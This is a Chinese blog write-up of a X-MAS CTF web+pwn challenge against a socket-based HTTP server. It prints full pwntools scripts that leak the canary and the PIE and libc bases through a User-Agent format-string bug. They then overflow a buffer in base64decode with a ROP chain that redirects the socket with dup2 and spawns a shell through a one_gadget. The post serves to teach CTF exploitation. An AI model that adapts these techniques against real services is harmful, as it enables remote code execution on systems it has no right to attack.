正文

圣诞前夕X-MAS CTF一道有趣的web+pwn

admin
admin V管理员 /0 评论 /16 阅读
0319
此篇文章发布距今已超过1196天，您需要注意文章的内容或图片是否可用！

 

0x001 前言

最近空下来，做了一下X-MAS CTF的pwn题，题目质量很好，期间遇到一道web+pwn花了不少时间，主要从子进程调试、socket通信方面详细讨论如何解决这类基于socket服务的pwn题。

题目下载：

链接:https://pan.baidu.com/s/1G4L-B1rSydLRCJ-9Zcy9Ug 密码:wsxd

 

0x002 分析

题目给了一个基于socket的server(保护全开)以及libc.so

把server跑起来，通过浏览器访问http://localhost:1337，出现了这样一个页面，有点像web的画风，字面意思是：预留了了一个通过GET请求的接口

多翻尝试，发现可以这样调用

/?toy=base64_string

比如说，请求hello world页面，传入hello world的base64编码aGVsbG8gd29ybGQ=

先测试一下有没有溢出，传入一个超长串的base64编码

/?toy=QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQQ==

网页直接崩掉，server的启动终端提示stack smashing，说明发生溢出了，但有canary，下面找找可以info leak的洞

 

0x003 Bypass Canary

找到route函数，这里有一处fsb可以用于泄漏stack cookie

下面说说调试方法：

一般的pwn题，直接通过socat起来，要调试的只有一个进程；对于socket服务，当接收到请求，会fork出来一个子进程，该子进程的内存空间布局与父进程一致，同理，这样多次会话泄漏出来的Canary也完全一致。直接在子进程代码中下断点，程序是不会断下的，需要先设置跟随子进程set follow-fork-mode child。

先在route处下断，设置跟随子进程，运行这段leak脚本

#! /usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

def _request(gift,fmt,ctl):
    req = "GET /?toy={} HTTP/1.1rn".format(gift)
    req += "User-Agent: {}rn".format(fmt)

    s=remote("localhost",1337,level="error")
    s.s(req)
    try:
        if not ctl:
            return re.findall("<br>(.*?)</small>", s.recvall())[0][10:]
        else:
            return s.irt()
    except EOFError:
        return None
    finally:
        s.close()

def pwn():
    leak = _request(b64e('wooy0ung'),'%p '*200,False).split(' ')

if __name__ == '__main__':
    pwn()

现在段在了printf调用的地方，查看栈上该处便是cookie

查看内存布局，顺便把pie_base、libc_base泄漏出来

对比基址，确定通过以下这几处可以泄漏0x0000555555556006-0x0000555555554000 = 0x2006、0x00007ffff7a2d830-0x00007ffff7a0d000 = 0x20830

换算一下，得到基址

 

0x004 Stack overflow

关于溢出点，找了好久，server设置跟随子进程，跑一下这段poc

#! /usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

def pwn():
    pl = "QWEwQWExQWEyQWEzQWE0QWE1QWE2QWE3QWE4QWE5QWIwQWIxQWIyQWIzQWI0QWI1QWI2QWI3QWI4"
    pl += "QWI5QWMwQWMxQWMyQWMzQWM0QWM1QWM2QWM3QWM4QWM5QWQwQWQxQWQyQWQzQWQ0QWQ1QWQ2QWQ3"
    pl += "QWQ4QWQ5QWUwQWUxQWUyQWUzQWU0QWU1QWU2QWU3QWU4QWU5QWYwQWYxQWYyQWYzQWY0QWY1QWY2"
    pl += "QWY3QWY4QWY5QWcwQWcxQWcyQWczQWc0QWc1QWc=    "
    req = "GET /?toy={} HTTP/1.1rn".format(pl)
    s=remote("localhost",1337,level="error")
    s.s(req)

if __name__ == '__main__':
    pwn()

子进程崩掉

查看栈回溯，发现在parse_query_string开始崩的

重新跟随子进程，停在base64decode函数调用的地方

先查看一下栈内容，现在是正常的

base64decode调用返回后，栈被覆盖了，通过对比正常的栈内容，得到stack_cookie的偏移0x928-0x8e0 = 0x48

查看函数base64decode的代码，最后确认溢出点在这里，a2是在调用base64decode传入的一个局部数组

查看栈布局，a2的缓冲区大小只有0x48，当越界了就会发生溢出

 

0x005 ROP

现在已经分析完了，下面就是常规栈溢出的做法了，只是要注意现在是在socket服务下的利用，还需要将标准输入、输出重定向到sockfd，可以这样构造rop chain

#1.Smash stack bypass
pl = ''
pl += 'a'*0x48
pl += p64(stack_cookie)
#2.Call dup2(4,1) [out]
pl += p64(ret)*4
pl += p64(rdi)
pl += p64(4)
pl += p64(rdx_rsi)
pl += 'a'*8
pl += p64(1)
pl += p64(libc.sym['dup2'])
#3.Call dup2(4,0) [in]
pl += p64(ret)*4
pl += p64(rdi)
pl += p64(4)
pl += p64(rdx_rsi)
pl += 'a'*8
pl += p64(0)
pl += p64(libc.sym['dup2'])
#4.Call system('/bin/sh')
pl += p64(ret)
pl += p64(libc.address+0x45216)
pl.rjust(200,'x00')

完整的EXP

#! /usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *
import os, sys
import requests
import re

DEBUG = 4
context.arch = 'amd64'
context.log_level = 'debug'
elf = ELF('./server',checksec=False)

# synonyms for faster typing
tube.s = tube.send
tube.sl = tube.sendline
tube.sa = tube.sendafter
tube.sla = tube.sendlineafter
tube.r = tube.recv
tube.ru = tube.recvuntil
tube.rl = tube.recvline
tube.ra = tube.recvall
tube.rr = tube.recvregex
tube.irt = tube.interactive

if DEBUG == 1:
    libc = ELF('/root/workspace/expmake/libc_x64',checksec=False)
    s = process('./toy')
elif DEBUG == 2:
    libc = ELF('/root/workspace/expmake/libc_x64',checksec=False)
    s = process('./toy', env={'LD_PRELOAD':'/root/workspace/expmake/libc_x64'})
elif DEBUG == 3:
    libc = ELF('/root/workspace/expmake/libc_x64',checksec=False)
    ip = 'localhost' 
    port = 1337
    s = remote(ip,port)
elif DEBUG == 4:
    libc = ELF('/root/workspace/expmake/libc_x64',checksec=False)

def _request(gift,fmt,ctl):
    req = "GET /?toy={} HTTP/1.1rn".format(gift)
    req += "User-Agent: {}rn".format(fmt)

    s=remote("localhost",1337,level="error")
    s.s(req)
    try:
        if not ctl:
            return re.findall("<br>(.*?)</small>", s.recvall())[0][10:]
        else:
            return s.irt()
    except EOFError:
        return None
    finally:
        s.close()

def pwn():
    leak = _request(b64e('wooy0ung'),'%p '*200,False).split(' ')
    #print leak

    pie_base = int(leak[0], 16) - 0x2006    # 0x0000555555556006-0x0000555555554000 = 0x2006
    stack_cookie = int(leak[6], 16)
    libc.address = int(leak[36],16) - 0x20830    # 0x7ffff7a2d830-0x00007ffff7a0d000 = 0x20830

    info("0x%x pie_base",pie_base)
    info("0x%x stack_cookie",stack_cookie)
    info("0x%x libc.address",libc.address)

    '''
    pl = "QWEwQWExQWEyQWEzQWE0QWE1QWE2QWE3QWE4QWE5QWIwQWIxQWIyQWIzQWI0QWI1QWI2QWI3QWI4"
    pl += "QWI5QWMwQWMxQWMyQWMzQWM0QWM1QWM2QWM3QWM4QWM5QWQwQWQxQWQyQWQzQWQ0QWQ1QWQ2QWQ3"
    pl += "QWQ4QWQ5QWUwQWUxQWUyQWUzQWU0QWU1QWU2QWU3QWU4QWU5QWYwQWYxQWYyQWYzQWY0QWY1QWY2"
    pl += "QWY3QWY4QWY5QWcwQWcxQWcyQWczQWc0QWc1QWc=    "
    req = "GET /?toy={} HTTP/1.1rn".format(pl)
    s=remote("localhost",1337,level="error")
    s.s(req)
    '''
    ret = pie_base + 0x0000000000000c4e
    rdi = pie_base + 0x0000000000001d9b
    rsi_r15 = pie_base + 0x0000000000001d99
    rdx_rsi = libc.address + 0x00000000001150c9

    #1.Smash stack bypass
    pl = ''
    pl += 'a'*0x48
    pl += p64(stack_cookie)
    #2.Call dup2(4,1) [out]
    pl += p64(ret)*4
    pl += p64(rdi)
    pl += p64(4)
    pl += p64(rdx_rsi)
    pl += 'a'*8
    pl += p64(1)
    pl += p64(libc.sym['dup2'])
    #3.Call dup2(4,0) [in]
    pl += p64(ret)*4
    pl += p64(rdi)
    pl += p64(4)
    pl += p64(rdx_rsi)
    pl += 'a'*8
    pl += p64(0)
    pl += p64(libc.sym['dup2'])
    #4.Call system('/bin/sh')
    pl += p64(ret)
    pl += p64(libc.address+0x45216) # one_gadget
    pl.rjust(200,'x00')

    _request(b64e(pl),'',True)

if __name__ == '__main__':
    pwn()

WIN~